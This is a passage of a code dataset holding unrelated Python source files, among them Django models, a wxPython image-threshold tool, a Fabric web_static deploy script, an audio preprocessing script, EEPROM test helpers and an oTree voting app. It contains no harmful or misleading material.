models.DecimalField('FOP', decimal_places=2, max_digits=18, blank=True, null=True, default=0.00)\n past = models.DecimalField('Pasado', decimal_places=2, max_digits=18, blank=True, null=True, default=0.00)\n gross_salary = models.DecimalField('Sueldo Bruto', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n net_salary = models.DecimalField('Sueldo Neto', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n harmful = models.DecimalField('Nocivo', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n\n def calculate(self, amount, harmful_amount):\n parameter = self.quadrille.movement.parameter\n self.gross_salary = amount\n if parameter is not None:\n self.yola = ((amount * parameter.yola) / 100) if self.quadrille.movement.used_yola else 0\n self.fee = (amount * parameter.fee) / 100\n self.contribution = (amount * parameter.contribution) / 100\n self.fop = (amount * parameter.fop) / 100\n self.mutual_aid = (amount * parameter.mutual_aid) / 100\n else:\n self.yola = ((amount * 2) / 100) if self.quadrille.movement.used_yola else 0\n self.fee = (amount * 15) / 100\n self.contribution = (amount * 6) / 100\n self.fop = (amount * 5) / 100\n self.mutual_aid = (amount * 7) / 100\n self.harmful = harmful_amount\n self.net_salary = decimal.Decimal(self.gross_salary + self.harmful) - (\n decimal.Decimal(self.fee) + decimal.Decimal(self.contribution) + decimal.Decimal(\n self.yola) + decimal.Decimal(\n self.fop) + decimal.Decimal(self.mutual_aid))\n self.past = decimal.Decimal(self.net_salary) - decimal.Decimal(self.advance)\n if self.past < 0:\n self.net_salary = 0\n self.past *= -1\n else:\n self.past = 0\n self.net_salary = self.net_salary - self.advance\n self.save()\n\n def __str__(self):\n return '%s' % (self.employee,)\n\n\nclass Cargo(models.Model):\n class Meta:\n verbose_name = 'Carga'\n verbose_name_plural = 'Carga'\n unique_together = (('movement', 'commodity', 'type'),)\n\n TYPE_CHOICES = (\n ('E', 'Exportacion'),\n ('I', 'Importacion'),\n ('T', 'Transito')\n )\n movement = models.ForeignKey(Movement, verbose_name='Llegada de vapor')\n commodity = models.ForeignKey(Commodity, verbose_name='Mercancia', limit_choices_to={'status': True})\n type = models.CharField('Tipo', max_length=1, choices=TYPE_CHOICES)\n price = models.DecimalField('Precio', blank=True, default=0, null=True, decimal_places=2, max_digits=18,\n help_text='Si no suministra valor para este campo, se tomara el precio dependiendo del tipo de carga. Ejemplo: si se deja en blanco y se pone de tipo exportación se tomara el precio definido para la exportación.')\n tons = models.DecimalField('Toneladas', decimal_places=2, max_digits=18)\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n if self.price is None or self.price == 0:\n self.price = self.get_default_price()\n return super(Cargo, self).save(force_insert, force_update, using, update_fields)\n\n def get_default_price(self):\n switcher = {\n 'E': self.commodity.export_price,\n 'I': self.commodity.import_price,\n 'T': self.commodity.transit_price\n }\n return switcher.get(self.type, 0.)\n\n def __str__(self):\n return '%s toneladas para %s de %s por el monto de %s' % (self.tons, self.type, self.commodity, self.price)\n\n\n\n","sub_path":"control_de_vapores/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"284312470","text":"#!/usr/bin/env python\nimport csv\nimport math\nimport os\nimport platform\nimport random\nimport sys\n\nimport numpy as np\nimport wx\n\nimport cv2\nfrom binary_image import BinaryImage, SourceType\nfrom perspective import Perspective\n\nclass DrawFrame(wx.Frame):\n\n def __init__(self, *args, **kwargs):\n wx.Frame.__init__(self, *args, **kwargs)\n # Change as necessary\n self.source_type = SourceType.V_CHANNEL\n\n self._create_menu()\n self.create_widgets()\n self.create_bindings()\n self.setup_layout()\n self.grad_x_threshold = None\n self.grad_y_threshold = None\n self.mag_threshold = None\n self.dir_threshold = None\n\n self.Show()\n\n\n def _create_menu(self):\n # Create the menubar\n menuBar = wx.MenuBar()\n\n menu = wx.Menu()\n item = menu.Append(wx.ID_ANY, \"&Open Image\", \"Open file\")\n self.Bind(wx.EVT_MENU, self.OnFileOpen, item)\n\n item = menu.Append(wx.ID_ANY, \"&Save Config\", \"Save the thresholds to config file.\")\n self.Bind(wx.EVT_MENU, self.OnFileSave, item)\n\n item = menu.Append(wx.ID_ANY, \"&Y Channel\",\n \"Select Y Channel.\")\n self.Bind(wx.EVT_MENU, self.OnSelectYChannel, item)\n\n item = menu.Append(wx.ID_ANY, \"&V Channel\",\n \"Select V Channel.\")\n self.Bind(wx.EVT_MENU, self.OnSelectVChannel, item)\n\n\n menu.Append(wx.ID_EXIT, \"E&xit\\tAlt-X\", \"Exit the app\")\n self.Bind(wx.EVT_MENU, self.OnClose, id=wx.ID_EXIT)\n\n menuBar.Append(menu, \"&File\")\n self.SetMenuBar(menuBar)\n\n def create_widgets(self):\n binary_image = BinaryImage(self.source_type)\n\n self.panel = wx.Panel(self)\n\n self.image_src = wx.StaticBitmap(self)\n self.image_color = wx.StaticBitmap(self)\n self.image_binary = wx.StaticBitmap(self)\n\n self.text_grad_x = wx.StaticText(self, label=\"Gradient X Thresholds\")\n self.text_grad_y = wx.StaticText(self, label=\"Gradient Y Thresholds\")\n self.text_mag = wx.StaticText(self, label=\"Magnitude Thresholds\")\n self.text_dir = wx.StaticText(self, label=\"Direction Thresholds\")\n\n self.slider_grad_x_min = wx.Slider(self,\n value=binary_image.grad_x_threshold[0],\n minValue=0,\n maxValue=255,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.slider_grad_x_max = wx.Slider(self,\n value=binary_image.grad_x_threshold[1],\n minValue=0,\n maxValue=255,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.slider_grad_y_min = wx.Slider(self,\n value=binary_image.grad_y_threshold[0],\n minValue=0,\n maxValue=255,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.slider_grad_y_max = wx.Slider(self,\n value=binary_image.grad_y_threshold[1],\n minValue=0,\n maxValue=255,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.slider_mag_min = wx.Slider(self,\n value=binary_image.mag_threshold[0],\n minValue=0,\n maxValue=255,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.slider_mag_max = wx.Slider(self,\n value=binary_image.mag_threshold[1],\n minValue=0,\n maxValue=255,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n\n self.slider_dir_min = wx.Slider(self,\n value=math.degrees(\n binary_image.dir_threshold[0]),\n minValue=0,\n maxValue=360,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.slider_dir_max = wx.Slider(self,\n value=math.degrees(\n binary_image.dir_threshold[1]),\n minValue=0,\n maxValue=360,\n pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n style=wx.SL_HORIZONTAL | wx.SL_LABELS)\n\n def create_bindings(self):\n self.slider_grad_x_min.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n self.slider_grad_x_max.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n self.slider_grad_y_min.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n self.slider_grad_y_max.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n self.slider_mag_min.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n self.slider_mag_max.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n self.slider_dir_min.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n self.slider_dir_max.Bind(wx.EVT_SCROLL, self.OnScrollSlider)\n\n def setup_layout(self):\n self.Sizer = wx.BoxSizer(wx.VERTICAL)\n \n image_sizer = wx.BoxSizer(wx.HORIZONTAL)\n image_sizer.Add(self.image_src, 5, wx.CENTER)\n image_sizer.AddSpacer(5)\n image_sizer.Add(self.image_color, 5, wx.CENTER)\n image_sizer.AddSpacer(5)\n image_sizer.Add(self.image_binary, 5, wx.CENTER)\n image_sizer.AddSpacer(5)\n\n self.Sizer.Add(image_sizer, 1, wx.CENTER)\n self.Sizer.AddSpacer(10)\n self.Sizer.Add(self.text_grad_x, 1, wx.CENTER)\n self.Sizer.Add(self.slider_grad_x_min, 1, wx.EXPAND)\n self.Sizer.Add(self.slider_grad_x_max, 1, wx.EXPAND)\n self.Sizer.AddSpacer(10)\n self.Sizer.Add(self.text_grad_y, 1, wx.CENTER)\n self.Sizer.Add(self.slider_grad_y_min, 1, wx.EXPAND)\n self.Sizer.Add(self.slider_grad_y_max, 1, wx.EXPAND)\n self.Sizer.AddSpacer(10)\n self.Sizer.Add(self.text_mag, 1, wx.CENTER)\n self.Sizer.Add(self.slider_mag_min, 1, wx.EXPAND)\n self.Sizer.Add(self.slider_mag_max, 1, wx.EXPAND)\n self.Sizer.AddSpacer(10)\n self.Sizer.Add(self.text_dir, 1, wx.CENTER)\n self.Sizer.Add(self.slider_dir_min, 1, wx.EXPAND)\n self.Sizer.Add(self.slider_dir_max, 1, wx.EXPAND)\n\n def OnClose(self, evt):\n self.Close()\n\n def OnScrollSlider(self, event):\n self.refresh()\n\n def scale_image_to_bitmap(self, image, width, height):\n image = image.Scale(width, height, wx.IMAGE_QUALITY_HIGH)\n return image.ConvertToBitmap()\n\n def refresh(self):\n self.grad_x_threshold = (self.slider_grad_x_min.GetValue(),\n self.slider_grad_x_max.GetValue())\n self.grad_y_threshold = (self.slider_grad_y_min.GetValue(),\n self.slider_grad_y_max.GetValue())\n self.mag_threshold = (self.slider_mag_min.GetValue(),\n self.slider_mag_max.GetValue())\n # Convert to radians\n self.dir_threshold = (math.radians(self.slider_dir_min.GetValue()),\n math.radians(self.slider_dir_max.GetValue()))\n\n print(\"grad x threshold = {}\".format(self.grad_x_threshold))\n print(\"grad y threshold = {}\".format(self.grad_y_threshold))\n print(\"magnitude threshold = {}\".format(self.mag_threshold))\n print(\"directional threshold = {}\".format(self.dir_threshold))\n\n # Always use a new object so different settings don't \n # get merged together via previous image merging.\n binary_image = BinaryImage(self.source_type)\n\n binary_image.set_thresholds(grad_x_threshold=self.grad_x_threshold,\n grad_y_threshold=self.grad_y_threshold,\n mag_threshold=self.mag_threshold,\n dir_threshold=self.dir_threshold)\n #process the image\n perspective = Perspective()\n warped = perspective.process_image(self.img)\n print(\"Process image\")\n binary = binary_image.process_image(warped)\n binary = binary * 255\n self.display_image(binary.astype(np.uint8), self.image_binary)\n color_image = binary_image.source_channel\n self.display_image(color_image.astype(np.uint8), self.image_color)\n self.panel.Layout()\n\n def display_image(self, image, widget):\n wximage = self.NumpyArrayToWxImage(image)\n bmp = self.scale_image_to_bitmap(\n wximage, wximage.GetWidth() * .25, wximage.GetHeight() * .25)\n widget.SetBitmap(bmp)\n\n def OnExit(self, evt):\n self.close()\n\n def OnFileOpen(self, evt):\n path = \"\"\n dlg = wx.FileDialog(self, \"Choose an image File\",\n \".\", \"\", \"*.jpg\", wx.FD_OPEN)\n if dlg.ShowModal() == wx.ID_OK:\n path = dlg.GetPath()\n else:\n dlg.Destroy()\n return\n\n dlg.Destroy()\n self.filename = path\n self.LoadData()\n\n def OnFileSave(self, evt):\n self.SaveData()\n\n def LoadData(self):\n self.img = cv2.imread(self.filename)\n self.img = self.img[:, :, ::-1]\n image = self.NumpyArrayToWxImage(self.img)\n bmp = self.scale_image_to_bitmap(\n image, image.GetWidth() * .25, image.GetHeight() * .25)\n self.image_src.SetBitmap(bmp)\n self.refresh()\n\n def SaveData(self):\n bi = BinaryImage(self.source_type)\n bi.set_thresholds(grad_x_threshold=self.grad_x_threshold,\n grad_y_threshold=self.grad_y_threshold,\n mag_threshold=self.mag_threshold,\n dir_threshold=self.dir_threshold)\n bi.save_thresholds()\n\n def NumpyArrayToWxImage(self, nparray):\n if (len(np.shape(nparray)) == 2):\n nparray = np.dstack((nparray, nparray, nparray))\n\n height, width, color = np.shape(nparray)\n image = wx.EmptyImage(width, height)\n image.SetData(nparray.tostring())\n return image\n\n def OnSelectYChannel(self, evt):\n self.source_type = SourceType.Y_CHANNEL\n self.resetSlider()\n self.refresh()\n\n def OnSelectVChannel(self, evt):\n self.source_type = SourceType.V_CHANNEL\n self.resetSlider()\n self.refresh()\n\n def resetSlider(self):\n binary_image = BinaryImage(self.source_type)\n self.slider_grad_x_min.SetValue(binary_image.grad_x_threshold[0])\n self.slider_grad_x_max.SetValue(binary_image.grad_x_threshold[1])\n self.slider_grad_y_min.SetValue(binary_image.grad_y_threshold[0])\n self.slider_grad_y_max.SetValue(binary_image.grad_y_threshold[1])\n \n self.slider_mag_min.SetValue(binary_image.mag_threshold[0])\n self.slider_mag_max.SetValue(binary_image.mag_threshold[1])\n # Convert to radians\n self.slider_dir_min.SetValue(\n math.degrees(binary_image.dir_threshold[0]))\n self.slider_dir_max.SetValue(\n math.degrees(binary_image.dir_threshold[0]))\n\napp = wx.App(False)\nF = DrawFrame(None, title=\"Image Thresholds tool\", size=(1200, 900))\napp.MainLoop()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"212054822","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 3 14:27:32 2018\r\n\r\n@author: Colton\r\n\"\"\"\r\nimport time\r\n\r\ndef c_to_f(c):\r\n return c*9/5 +32\r\n\r\ntime0 = time.clock()#time rn before calculation\r\nans1 = c_to_f(100) #run this at 100 celsius \r\ntime1 = time.clock() - time0 #time rn after calculation ran\r\n\r\nprint(ans1)\r\nprint(time1)\r\n\r\n\r\n\r\ndef cube(x):\r\n return x * x * x\r\n\r\ntime2 = time.clock()\r\nans2 = cube(9999999**99)\r\ntime3 = time.clock() - time2\r\n\r\nprint(ans2)\r\nprint(str(time3))\r\n\r\nprint(' ')\r\n\r\nn = 10\r\ndef g(n): #quadratic\r\n x = 0\r\n for i in range(n):\r\n for j in range(n): \r\n x+=1\r\n return x\r\n\r\nprint(g(n))\r\n ","sub_path":"week_6/clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"602454928","text":"#!/usr/bin/python3\n\"\"\"Creates and distributes an archive to your web servers using function deploy\n\"\"\"\nfrom fabric.api import local, env, put, run\nfrom datetime import datetime\nimport os\n\n\nenv.hosts = ['34.74.39.127', '35.196.159.36']\n\n\ndef do_pack():\n \"\"\"Function do_pack\n \"\"\"\n dtime = datetime.utcnow().strftime(\"%Y%m%d%H%M%S\")\n archive_path = \"versions/web_static_{}.tgz\".format(dtime)\n local(\"mkdir -p versions\")\n local(\"tar -czvf {} web_static\".format(archive_path))\n if os.path.exists(archive_path):\n return archive_path\n else:\n return None\n\n\ndef do_deploy(archive_path):\n \"\"\"Function do_deploy\n \"\"\"\n if os.path.exists(archive_path):\n filename = archive_path[9:-4]\n dest = '/data/web_static/releases/{}'.format(filename)\n put(archive_path, '/tmp')\n run(\"mkdir -p {}\".format(dest))\n run(\"tar -xzf /tmp/{}.tgz -C {}\".format(filename, dest))\n run(\"rm /tmp/{}.tgz\".format(filename))\n run(\"mv {}/web_static/* {}\".format(dest, dest))\n run(\"rm -rf {}/web_static\".format(dest))\n run(\"rm -rf /data/web_static/current\")\n run(\"ln -s {} /data/web_static/current\".format(dest))\n print(\"New version deployed!\")\n return True\n else:\n return False\n\n\ndef deploy():\n \"\"\"Function deploy\n \"\"\"\n archive_path = do_pack()\n if archive_path is None:\n return False\n result = do_deploy(archive_path)\n return result\n","sub_path":"3-deploy_web_static.py","file_name":"3-deploy_web_static.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"76835558","text":"from sys import maxsize\r\ndef maxsub(arr,n):\r\n Max_S=-(maxsize)\r\n Max_End=0\r\n for i in range(n-1):\r\n Max_End+=arr[i]\r\n if Max_End<arr[i]:\r\n Max_End=arr[i]\r\n elif Max_S<Max_End:\r\n Max_S=Max_End\r\n return Max_S\r\narr=[]\r\nn=int(input(\"enter size of array\"))\r\nfor i in range(n):\r\n ele=int(input())\r\n arr.append(ele)\r\nprint(arr)\r\nprint(maxsub(arr,n))","sub_path":"kadans alg.py","file_name":"kadans alg.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"639215545","text":"import Plugins\nfrom _decimal import Context\n\ndata_name = 'user_list'\nclass ListUser(Plugins.Plugin):\n def __init__(self, context):\n super(ListUser, self).__init__(context)\n context.trySetAttr(data_name, [])\n \n def match(self, data):\n return data[2] == b'listuser'\n \n def do(self, data):\n sock = data[0]\n output = ''\n for user in getattr(self.context, data_name):\n output += user+'\\n'\n if output != '':\n output = output[:-1]\n return sock, output.encode('utf8')","sub_path":"hw2/servercommands/ListUser.py","file_name":"ListUser.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"18368131","text":"from django.db import models\n\n\nclass Judger(models.Model):\n max = models.IntegerField(default=4)\n ip = models.CharField(max_length=30, default='0.0.0.0')\n port = models.IntegerField(default=8888, blank=True, null=True)\n remote = models.BooleanField(default=False, blank=True)\n token = models.CharField(max_length=30, blank=True, null=True)\n\n class Meta:\n db_table = \"judger\"\n\n def __str__(self):\n return str(self.id) + '-' + self.ip + ':' + str(self.port)\n","sub_path":"usoj/judger/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"276608207","text":"from django.conf.urls import patterns, include, url\nfrom apps.consultas.views import ConsultaNueva, Respuesta, ListaConsultas, VerConsulta, NoLogin\nfrom apps.consultas.views import ListadoExpediente, VerExpediente\n\nurlpatterns = patterns ('',\n url(r'^log/$', NoLogin , name='no_login'),\n url(r'^nueva/$', ConsultaNueva, name='consulta'),\n url(r'^ver/$', ListaConsultas, name='lista'),\n url(r'^ver/(?P<id>\\d+)/$', VerConsulta, name='ver'),\n url(r'^responder/(?P<id>\\d+)/$', Respuesta, name='resp'),\n url(r'^verexp/$', ListadoExpediente, name='listaexp'),\n url(r'^verexp/(?P<id>\\d+)/$', VerExpediente, name='verexp'),\n)\n","sub_path":"divorcios/apps/consultas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"141430728","text":"import lab as B\nfrom stheno import EQ, GP, Delta, Measure\n\nfrom experiments.experiment import run, setup\n\nargs, wd = setup(\"smk\")\n\n# Setup experiment.\nn = 881 # Add last one for `linspace`.\nnoise = 1.0\nt = B.linspace(-44, 44, n)\nt_plot = B.linspace(0, 10, 500)\n\n# Setup true model and GPCM models.\nkernel = EQ().stretch(1) * (lambda x: B.cos(2 * B.pi * x))\nkernel = kernel + EQ().stretch(1) * (lambda x: B.sin(2 * B.pi * x))\nwindow = 4\nscale = 0.5\nn_u = 40\nn_z = 88\n\n# Sample data.\nm = Measure()\ngp_f = GP(kernel, measure=m)\ngp_y = gp_f + GP(noise * Delta(), measure=m)\ntruth, y = map(B.flatten, m.sample(gp_f(t_plot), gp_y(t)))\n\n# Remove region [-8.8, 8.8].\ninds = ~((t >= -8.8) & (t <= 8.8))\nt = t[inds]\ny = y[inds]\n\n\ndef comparative_kernel(vs_):\n return vs_.pos(1) * EQ().stretch(vs_.pos(1.0)) + vs_.pos(noise) * Delta()\n\n\nrun(\n args=args,\n wd=wd,\n noise=noise,\n window=window,\n scale=scale,\n t=t,\n y=y,\n n_u=n_u,\n n_z=n_z,\n true_kernel=kernel,\n true_noisy_kernel=kernel + noise * Delta(),\n comparative_kernel=comparative_kernel,\n t_plot=t_plot,\n truth=(t_plot, truth),\n x_range={\"psd\": (0, 3)},\n y_range={\"kernel\": (-1.5, 1.5), \"psd\": (-100, 10)},\n)\n","sub_path":"experiments/smk.py","file_name":"smk.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"55685366","text":"import os\n\nimport IPython.display as ipd\nimport numpy as np\nimport pickle\nimport sklearn as skl\nimport sklearn.utils, sklearn.preprocessing, sklearn.decomposition, sklearn.svm\nimport librosa\nimport librosa.display\nimport utils\n\n\n# Extract all files in dir, stft and store in list\npath = 'C:/Users/Darcy/Downloads/fma_small' # Path to root dir of all music files\nsavePath = 'C:/VE488/data' # Do not add / in the end. sample: 'C:/VE488/data'\ntracksPath = 'C:/Users/Darcy/Downloads/fma_metadata/tracks.csv'\nnumPatch = 400 # save one file every 'numPatch' data\n\npathDir = os.listdir(path)\n\n# load all data's path in a\na = []\nfor Dir in pathDir:\n subPathDir = path + '/' + Dir + '/'\n #print(subPathDir)\n files = os.listdir(subPathDir)\n for eachfile in files:\n dir = subPathDir + eachfile\n a.append(dir)\n\ntracks = utils.load(tracksPath)\ngenres = tracks['track'].genre_top\n\n# main process\nX = np.ones((numPatch, 128, 2550, 1))\nkey = {'Hip-Hop' : 0, 'International' : 1,'Rock' : 2, 'Experimental' : 3 ,'Folk' : 4,'Instrumental' : 5, 'Electronic' : 6,'Pop' : 7 }\ny = np.zeros((numPatch, 8))\nname = np.zeros((numPatch, 1))\ncount = 0 # file count\nsave_num = 1\nfor filename in a:\n try:\n x, sr = librosa.load(filename, sr=None, mono=True)\n #print('Duration: {:.2f}s, {} samples'.format(x.shape[-1] / sr, x.size))\n start, end = 0, 25\n ipd.Audio(data=x[start*sr: end*sr], rate=sr)\n stft = np.abs(librosa.stft(x, n_fft=2048, hop_length=512))\n mel = librosa.feature.melspectrogram(sr=sr, S=stft**2)\n log_mel = librosa.amplitude_to_db(mel)\n \n X[count] = log_mel[:, :2550, np.newaxis]\n filename = filename[-10: -4] # example '000102'\n i = 0\n while(filename[i] == \"0\"): # eliminate 0 \n i += 1\n filename = filename[i:]\n y[count][key[genres[int(filename)]]] = 1 # Save label\n name[count] = filename\n # print(filename)\n except: # use except BaseException to debug\n print('Error: ' + filename)\n continue\n \n count += 1\n if (count % numPatch == 0):\n # save this patch to file (data, label, name)\n dataFilename = savePath + '/dataset' + str(save_num)\n labelFilename = savePath + '/labelset' + str(save_num)\n nameFilename = savePath + '/name' + str(save_num) \n f = open(dataFilename, 'wb') \n pickle.dump(X, f) \n f.close()\n f = open(labelFilename, 'wb') \n pickle.dump(y, f)\n f.close()\n f = open(nameFilename, 'wb') \n pickle.dump(name, f)\n f.close()\n \n # variable log\n print('Patch ' + str(save_num) + ' done.')\n \n # reset count\n save_num += 1\n count = 0\n \n \n# final save\ndataFilename = savePath + '/dataset' + str(save_num)\nlabelFilename = savePath + '/labelset' + str(save_num)\nnameFilename = savePath + '/name' + str(save_num) \nf = open(dataFilename, 'wb') \npickle.dump(X[0: count], f) \nf.close()\nf = open(labelFilename, 'wb') \npickle.dump(y[0: count], f)\nf.close()\nf = open(nameFilename, 'wb') \npickle.dump(name, f)\nf.close()\n# print j\nprint(\"Final j: \" + str((save_num - 1)*400 + count))\n","sub_path":"Preprocess_Check/Preprocess.py","file_name":"Preprocess.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"169979273","text":"#!/usr/bin/env python3\n\"\"\"\nA module creating the environment, which initializes the deployments from command line arguments.\n\"\"\"\n\n# Imports\nfrom deployable.environment.environment import Environment # For class extension\nfrom deployable.report.error import report_error # Error reporting\nfrom os.path import join, sep # For path resolution, and system vars\nfrom typing import Any, List, Dict # For typing\nfrom yaml import BaseLoader, load # To convert yaml to dict \n\n\nclass FileEnvironment(Environment):\n\t\"\"\"\n\tClass for specifying the environment of operation.\n\t\"\"\"\n\tdef __init__(self, config: List[str], environment_path: str):\n\t\t\"\"\"\n\t\tParses and return the command line arguments.\n\t\t\"\"\"\n\t\t# Sanity check\n\t\tif type(config) is list:\n\t\t\tif len(config) > 0:\n\t\t\t\tconfig_data_set = False\n\t\t\t\t\n\t\t\t\ttry:\n\t\t\t\t\tconfig_data = map(path_to_object, config)\n\t\t\t\t\tconfig_data_set = True\n\t\t\t\texcept OSError:\n\t\t\t\t\treport_error(\"io\", \"file probably does not exist\")\n\t\t\t\texcept [TypeError, ValueError]:\n\t\t\t\t\treport_error(\"parsing\", \"yaml syntax is probably incorrect\")\n\t\t\t\t\n\t\t\t\tif config_data_set:\n\t\t\t\t\t# Call superconstructor\n\t\t\t\t\tsuper().__init__(config=config_data, environment_path=environment_path)\n\t\t\t\t\t\n\t\t\t\t\t# Return to terminate finidshing up of sanity check\n\t\t\t\t\treturn\n\n\t\t# If sanity check failed\n\t\tself.lifecycle = False\n\t\treport_error(\"arg\", \"the file environment arguments failed the sanity test\")\n\t\treturn\n\ndef path_to_object(config_path: str) -> Dict[str, Dict[str, Any]]:\n\t\"\"\"\n\tLoads yaml from a file.\n\t\"\"\"\n\twith open(config_path) as config_file:\n\t\treturn load(config_file, Loader=BaseLoader)\n","sub_path":"src/deployable/remove/run/file_environment.py","file_name":"file_environment.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"450719233","text":"#!/usr/bin/python\n\nimport time\nimport logging\nimport hal.eeprom\nfrom utilities.table import Table\nfrom utilities.errors import ComparisonError\nfrom utilities.comparison import SimpleComparison\nfrom _ast import Pass\n\nclass EepromTable():\n \n def __init__(self):\n self.eSettingsTable = []\n \n def AddAllSettings(self, mac, serial, plId, hw, uplink, batteries, sensors):\n self.eSettingsTable.append('Base MAC address : ' + mac)\n self.eSettingsTable.append('Serial number : ' + serial)\n self.eSettingsTable.append('Platform ID : ' + plId)\n self.eSettingsTable.append('Hardware Version : ' + hw)\n self.eSettingsTable.append('Uplinks type : ' + uplink)\n self.eSettingsTable.append('Number of batteries : ' + batteries)\n self.eSettingsTable.append('Number of sensors : ' + sensors)\n \n def GetTable(self):\n return self.eSettingsTable\n\n\n#class EepromComparison(EepromTable):\n \n def SetSettingsComparison(self, real, virtual):\n real.pop()\n return SimpleComparison(real, virtual)\n \n def FlashMemComparison(self, real, virtual):\n for i in real:\n if 'SPI-F' in i:\n return SimpleComparison([i], virtual)\n logging.error('COMPARE ERROR: not found \"SPI-F\" in boot log')\n return False\n \n def EepromSettingsComparison(self, real, virtual):\n for _ in range(6):\n del real[0]\n for _ in range(7):\n real.pop()\n return SimpleComparison(real, virtual)\n\nclass EepromCli(hal.eeprom.EepromCliInterface):\n\n def SetMac(self, mac, error = '1', access = 'cli'):\n if error == '1':\n if access == 'cli':\n return mac + '\\n'\n if access == 'snmp':\n return ''\n \n if error == '0':\n if access == 'cli':\n return ['',\n 'Maintenance level (alphanumeric, up to 8 characters)']\n if access == 'snmp':\n return ''\n \n if error == '-1':\n if access == 'cli':\n return ['ERROR: Invalid MAC address length.',\n '',\n 'Base MAC address (six byte hexadermical, example: 0013aa000001)']\n if access == 'snmp':\n return ''\n\n","sub_path":"PythonTestProject/hal/bcm_phoenix/eeprom.py","file_name":"eeprom.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"365854824","text":"from otree.api import (\n models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer,\n Currency as c, currency_range\n)\n\n\nauthor = 'Your name here'\n\ndoc = \"\"\"\nYour app description\n\"\"\"\n\n\nclass Constants(BaseConstants):\n name_in_url = 'voting'\n players_per_group = 4\n num_others_per_group = players_per_group - 1\n num_rounds = 1\n type_a1 = [1,5,9,13,17,21,25] # ph1\n type_a2 = [23,27,3,7,11,15,19] # ph2\n type_b = [26,2,6,10,14,18,22] # pm\n type_c = [20,24,28,4,8,12,16] # rh\n\n\nclass Subsession(BaseSubsession):\n def creating_session(self):\n\n new_structure = [\n [1, 23, 26, 20],\n [5, 27, 2, 24],\n [9, 3, 6, 28],\n [13, 7, 10, 4],\n [17, 11, 14, 8],\n [21, 15, 18, 12],\n [25, 19, 22, 16],\n ]\n self.set_group_matrix(new_structure)\n print(self.get_group_matrix())\n\n\nclass Group(BaseGroup):\n winner_rank = models.IntegerField()\n\n sum_rank1 = models.IntegerField()\n sum_rank2 = models.IntegerField()\n sum_rank3 = models.IntegerField()\n sum_rank4 = models.IntegerField()\n\n winner_id = models.IntegerField()\n\n\n\n def set_winner(self):\n\n self.sum_rank1 = sum(p.rank1 for p in self.get_players())\n self.sum_rank2 = sum(p.rank2 for p in self.get_players())\n self.sum_rank3 = sum(p.rank3 for p in self.get_players())\n self.sum_rank4 = sum(p.rank4 for p in self.get_players())\n\n ranks = [self.sum_rank1, self.sum_rank2, self.sum_rank3, self.sum_rank4]\n sorted_ranks = sorted(ranks)\n print('votes are', sorted_ranks)\n self.winner_rank = sorted_ranks[0]\n if self.winner_rank == self.sum_rank1:\n self.winner_id = 1\n elif self.winner_rank == self.sum_rank2:\n self.winner_id = 2\n elif self.winner_rank == self.sum_rank3:\n self.winner_id = 3\n elif self.winner_rank == self.sum_rank4:\n self.winner_id = 4\n\n print('winner got votes:', self.winner_rank)\n print('Winner is', self.winner_id)\n\n\n\n def set_payoff(self):\n\n p1 = self.get_player_by_id(1)\n p2 = self.get_player_by_id(2)\n 